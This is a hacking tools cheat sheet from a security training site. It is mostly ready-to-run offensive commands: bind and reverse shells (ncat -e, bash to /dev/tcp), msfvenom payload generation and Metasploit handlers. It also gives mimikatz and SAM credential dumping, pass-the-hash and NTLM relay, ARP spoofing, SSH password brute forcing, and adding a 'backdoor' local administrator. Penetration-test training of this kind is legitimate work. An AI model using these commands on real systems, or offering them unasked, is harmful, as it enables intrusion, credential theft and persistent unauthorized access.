Hacking Tools Cheat Sheet

To supplement the hacking courses on our Cyber Security Career Development Platform, here is our Hacking Tools Cheat Sheet.

You may download the PDF version of this cheat sheet here.

Table Of Contents

Basic Linux Networking Tools
Information Gathering
TCP Tools
TLS Tools
HTTP Tools
Sniffing
Network Scanning
Shells
Vulnerability DBs and Exploits
Cracking
Metasploit Framework
Linux Privilege Escalation
Windows Privilege Escalation
Windows Credentials Gathering
Pass-the-Hash
NTLM Relay
Active Directory

Basic Linux Networking Tools

SHOW IP CONFIGURATION:
# ip a lw

DNS LOOKUP:
# dig stationx.net

CHANGE IP/MAC ADDRESS:
# ip link set dev eth0 down
# macchanger -m 23:05:13:37:42:21 eth0
# ip link set dev eth0 up

STATIC IP ADDRESS CONFIGURATION:
# ip addr add 10.5.23.42/24 dev eth0

Information Gathering

REVERSE DNS LOOKUP:
# dig -x 10.5.23.42

OR USING AN NMAP SCRIP:
# nmap -sn -Pn stationx.net
–script hostmap-crtsh

COMBINE VARIOUS SOURCES FOR SUBDOMAIN ENUM:
# amass enum -src -brute -min-forrecursive
2 -d stationx.net

FIND OWNER/CONTACT OF DOMAIN OR IP ADDRESS:
# whois stationx.net

GET NAMESERVERS AND TEST FOR DNS ZONE TRANSFER:
# dig example.com ns
# dig example.com axfr @n1.example.com

GET HOSTNAMES FROM CT LOGS: SEARCH FOR:
%.stationx.net on https://crt.sh.

TCP Tools

LISTEN ON TCP PORT:
# ncat -l -p 1337

CONNECT TO TCP PORT:
# ncat 10.5.23.42 1337

TLS Tools

CREATE SELF-SIGNED CERTIFICATE:
# openssl req -x509 -newkey rsa:2048
-keyout key.pem -out cert.pem -nodes
-subj “/CN=example.org/”

CONNECT TO TLS SERVICE USING OPENSSL:
# openssl s_client -connect
10.5.23.42:1337

TEST TLS SERVER CERTIFICATE AND CIPHERS:
# sslyze –regular 10.5.23.42:443

ONLINE TLS TESTS:
ssllabs.com, hardenize.com

START TLS SERVER:
# ncat –ssl -l -p 1337 –ssl-cert
cert.pem –ssl-key key.pem

CONNECT TO TLS SERVICE:
# ncat –ssl 10.5.23.42 1337

SHOW CERTIFICATE DETAILS:
# openssl s_client -connect
10.5.23.42:1337 \| openssl x509 -text

TCP TO TLS PROXY:
# socat TCP-LISTEN:2305,fork,reuseaddr
ssl:example.com:443

HTTP Tools

START PYTHON WEBSERVER ON PORT 2305:
# python3 -m http.server 2305

USEFUL CURL OPTIONS:
-k: Accept untrusted certificates
-d “foo=bar”: HTTP POST data
-H: “Foo: Bar”: HTTP header
-I: Perform HEAD request
-L: Follow redirects
-o foobar.html: Write output file
–proxy http://127.0.0.1:8080: Set proxy

PERFORM HTTP REQUEST:
# curl http://10.5.23.42:2305/?foo=bar

SCAN FOR COMMON FILES/APPLICATIONS/CONFIGS:
# nikto -host https://example.net

ENUMERATE COMMON DIRECTORY-/FILENAMES:
# gobuster dir -k -u
https://example.net -w
/usr/share/wordlists/dirb/common.txt

Sniffing

ARP SPOOFING:
# arpspoof -t 10.5.23.42 10.5.23.1

SHOW ARP CACHE:
# ip neigh

SNIFF TRAFFIC:
# tcpdump [options] [filters]

USEFUL TCPDUMP FILTERS:
not arp: No ARP packets
port ftp or port 23: Only port 21 or 23
host 10.5.23.31: Only from/to host
net 10.5.23.0/24: Only from/to hosts in

OR A GRAPHICAL TOOL:
# ettercap -G

DELETE ARP CACHE:
# ip neigh flush all

USEFUL TCPDUMP OPTIONS:
# tcpdump [options] [filters]
-n: Disable name and port resolution
-A: Print in ASCII
-XX: Print in hex and ASCII
-w file: Write output PCAP file
-r file: Read PCAP file

network

Advanced sniffing using tshark or Wireshark.

SNIFFING OVER SSH ON A REMOTE HOST:
# ssh 10.5.23.42 tcpdump -w- port not
ssh \| wireshark -k -i –

SHOW TRANSMITTED IMAGES:
# driftnet

SEARCH IN NETWORK TRAFFIC:
# ngrep -i password

SHOW HTTP GET REQUESTS:
# urlsnarf

Network Scanning

ARP SCAN:
# nmap -n -sn -PR 10.5.23.0/24

SCAN FOR VULNERABILITIES (SCRIPT CATEGORY FILTER):
# nmap -n -Pn –script “vuln and safe”
10.5.23.0/24

USEFUL NMAP OPTIONS:
-n: Disable name and port resolution
-PR: ARP host discovery
-Pn: Disable host discovery
-sn: Disable port scan (host discovery only)
-sS/-sT/-sU: SYN/TCP connect/UDP scan
–top-ports 50: Scan 50 top ports
-iL file: Host input file
-oA file: Write output files (3 types)
-sC: Script scan (default scripts)
–script : Specific scripts
-sV: Version detection
-6: IPv6 scan

REVERSE DNS LOOKUP OF IP RANGE:
# nmap -sL 10.5.23.0/24

TCP SCAN (SYN SCAN = HALF-OPEN SCAN):
# nmap -Pn -n -sS -p
22,25,80,443,8080 10.5.23.0/24

SCAN FOR ETERNALBLUE VULNERABLE HOSTS:
# nmap -n -Pn -p 443 –script smbvuln-
ms17-010 10.5.23.0/24

PERFORMANCE TUNING (1 SYN PACKET ≈ 60 BYTES → 20’000 PACKETS/S ≈ 10 MBPS):
# nmap -n -Pn –min-rate 20000
10.5.23.0/24

NMAP HOST DISCOVERY (ARP, ICMP, SYN 443/TCP, ACK 80/TCP):
# nmap -sn -n 10.5.23.0/24

LIST NMAP SCRIPTS:
# ls /usr/share/nmap/scripts

The target can be specified using CIDR notation
(10.5.23.0/24) or range definitions (10.13-
37.5.1-23).

FAST SCAN USING MASSCAN:
# masscan -p80,8000-8100 –rate 20000
10.0.0.0/8

PUBLIC INTERNET SCAN DATABASES:
shodan.io, censys.io

Shells

START BIND SHELL (ON VICTIM):
# ncat -l -p 2305 -e “/bin/bash -i”

LISTEN FOR REVERSE SHELL (ON ATTACKER):
# ncat -l -p 23

START REVERSE SHELL WITH BASH ONLY (ON VICTIM):
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1

CONNECT TO BIND SHELL (ON ATTACKER):
# ncat 10.5.23.42 2305

START REVERSE SHELL (ON VICTIM):
# ncat -e “/bin/bash -i” 10.5.23.5 23

UPGRADE TO PSEUDO TERMINAL:
# python -c ‘import pty;
pty.spawn(“/bin/bash”)’

Vulnerability DBs and Exploits

EXPLOIT SEARCH (LOCAL COPY OF THE EXPLOIT-DB):
# searchsploit apache

SHOW EXPLOIT FILE PATH AND COPY IT INTO CLIPBOARD:
# searchsploit -p 40142

ONLINE VULNERABILITY AND EXPLOIT DATABASES:
cvedetails.com, exploit-db.com,
packetstormsecurity.com

Cracking

TRY SSH PASSWORDS FROM A WORDLIST:
# ncrack -p 22 –user root -P
./passwords.txt 10.5.23.0/24

CRACK HASHES (E.G. 5600 FOR NETNTLMV2 TYPE):
# hashcat -m 5600 -a 0 hash.txt
/path/to/wordlists/*

DETERMINE HASH TYPE:
# hashid 869d[…]bd88

SHOW EXAMPLE HASH TYPES FOR HASHCAT:
# hashcat –example-hashes

CRACK HASHES USING JOHN THE RIPPER:
# john hashes.txt

Metasploit Framework

START METASPLOIT:
# msfconsole

USE EXPLOIT:
msf > use exploit/windows/smb/ms17_…

CONFIGURE EXPLOIT:
msf exploit(…) > show options
msf exploit(…) > set TARGET 10.5.23.42

REVERSE SHELL LISTENER:
> use exploit/multi/handler
> set payload
linux/x64/shell_reverse_tcp
> set LHOST 10.5.23.42 # attacker
> set LPORT 443
> exploit

UPLOAD / DOWNLOAD FILES:
meterpreter > upload pwn.exe
meterpreter > download c:\keepass.kdb

BACKGROUND METERPRETER SESSION:
meterpreter > background

SOCKS VIA METERPRETER (REQUIRES AUTOROUTE):
> use auxiliary/server/socks4a
> set SRVPORT 8080
> run

CONNECT THROUGH SOCKS PROXY:
# proxychains ncat 172.23.5.42 1337

SEARCH EXPLOIT:
> search eternalblue

RUN EXPLOIT:
msf exploit(…) > exploit

GENERATE REVERSE SHELL (WAR):
# msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<your
ip address> LPORT=443 -f war > sh.war

UPGRADE TO METERPRETER (OR PRESS ^Z (CTRL-Z)):
background
Background session 1? [y/N] y
> sessions # list sessions
> sessions -u 1 # Upgrade
> sessions 2 # interact with session 2
meterpreter > sysinfo # use it

PORT FORWARDING TO LOCALHOST:
meterpreter > portfwd add -l 2323 -p
3389 -r 10.5.23.23

PIVOTING THROUGH EXISTING METERPRETER SESSION:
> use post/multi/manage/autoroute
> set session 2 # meterpreter session
> run
> route

CONFIGURE PROXYCHAINS:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

Linux Privilege Escalation

ENUMERATE LOCAL INFORMATION (-T FOR MORE TESTS):
# curl -o /tmp/linenum
https://raw.githubusercontent.com/rebo
otuser/LinEnum/master/LinEnum.sh
# bash /tmp/linenum -r /tmp/report

Other hardening checks can be done using lynis or LinPEAS.

Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io.

Windows Privilege Escalation

SCAN FOR NETWORK SHARES:
# smbmap.py –host-file smbhosts.txt –
u Administrator -p PasswordOrHash

Copy PowerUp.ps1 from GitHub “PowerShellMafia/

PowerSploit” into PowerShell to

bypass ExecutionPolicy and execute Invoke-

AllChecks. Use the abuse functions.

ADD A NEW LOCAL ADMIN:
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /add

Windows Credentials Gathering

START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

SHOW PASSWORDS/HASHES OF LOGGED IN USERS:
# sekurlsa::logonpasswords

EXTRACT HASHES USING MIMIKATZ:
# lsadump::sam /system:system.hiv
/sam:sam.hiv

READ LSASS.EXE PROCESS DUMP:
# sekurlsa::minidump lsass.dmp
Dump lsass.exe in taskmgr or procdump.

BACKUP SYSTEM & SAM HIVE:
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv

Pass-the-Hash

START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

METERPRETER VIA PASS-THE-HASH:
msf > set payload
windows/meterpreter/reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim
msf > set SMBPass 01[…]03:01[…]03
msf > exploit
meterpreter > shell
C:\WINDOWS\system32>

OVER A SUBNET AND EXTRACT SAM FILE:
# crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03
10.5.23.0/24 –sam

RDP VIA PASS-THE-HASH:
# xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42

BROWSE SHARES VIA PASS-THE-HASH:
# ./smbclient.py
domain/usrname@10.5.23.42 -hashes
:011AD41795657A8ED80AB3FF6F078D03

NTLM Relay

VULNERABLE IF MESSAGE_SIGNING: DISABLED:
# nmap -n -Pn -p 445 –script smbsecurity-
mode 10.5.23.0/24

NTLM RELAY USING SOCKS PROXY:
# ./ntlmrelayx.py -tf targets.txt
-smb2support -socks
Configure ProxyChains:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

DISABLE SMB AND HTTP IN RESPONDER.CONF AND START RESPONDER:
# ./Responder.py -I eth0

NTLM RELAY TO TARGET AND EXTRACT SAM FILE:
# ./ntlmrelayx.py -smb2support -t
smb://10.5.23.42

ACCESS FILES VIA SOCKS PROXY:
# proxychains smbclient -m smb3
‘\\10.5.23.42\C$’ -W pc05 -U
Administrator%invalidPwd

Active Directory

Use SharpHound to gather information and import into Bloodhound to analyze.

Download PingCastle from pingcastle.com and generate Report.

Hacking Tools Cheat Sheet

Basic Linux Networking Tools

Information Gathering

TCP Tools

TLS Tools

HTTP Tools

Sniffing

Network Scanning

Shells

Vulnerability DBs and Exploits

Cracking

Metasploit Framework

Linux Privilege Escalation

Windows Privilege Escalation

Windows Credentials Gathering

Pass-the-Hash

NTLM Relay

Active Directory

CATEGORIES

About The Author

Nathan House

Basic Linux Networking Tools

Information Gathering

TCP Tools

TLS Tools

HTTP Tools

Sniffing

Network Scanning

Shells

Vulnerability DBs and Exploits

Cracking

Metasploit Framework

Linux Privilege Escalation

Windows Privilege Escalation

Windows Credentials Gathering

Pass-the-Hash

NTLM Relay

Active Directory

CATEGORIES

Related Articles

About The Author

Nathan House